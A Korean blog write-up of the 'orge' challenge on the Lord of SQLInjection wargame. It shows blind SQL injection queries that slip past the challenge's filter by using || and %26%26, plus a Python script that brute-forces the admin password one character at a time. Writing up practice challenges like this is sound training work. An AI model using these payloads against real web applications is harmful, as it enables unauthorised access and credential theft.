반응형
문제
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php
문제풀이
첫번째 쿼리문에서 id=admin의 pw를 알아낸 후, pw 파라미터에 전달하면 두번째 쿼리문에 전달되어 문제가 해결된다.
blind injection 수행 시, or는 ||, and는 %26으로 우회할 수 있다.
- pw 길이
select id from prob_orge where id='guest' and pw=''||id='admin'%26%26length(pw)>1 -- '
select id from prob_orge where id='guest' and pw=''||length(pw)>1%26%26id='admin'
- pw 문자열
select id from prob_orge where id='guest' and pw=''||ascii(substr(pw,1,1))>1%26%26id='admin'
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
# flag_len
flag_len=0
for i in range(50):
query="?pw='||length(pw)={}%26%26id='admin".format(i)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="?pw='||ascii(substr(pw,{},1))={}%26%26id='admin".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] vampire (0) | 2023.01.22 |
---|---|
[LOS] troll (0) | 2023.01.22 |
[LOS] darkelf (0) | 2023.01.22 |
[LOS] wolfman (0) | 2023.01.22 |
[LOS] orc (0) | 2023.01.21 |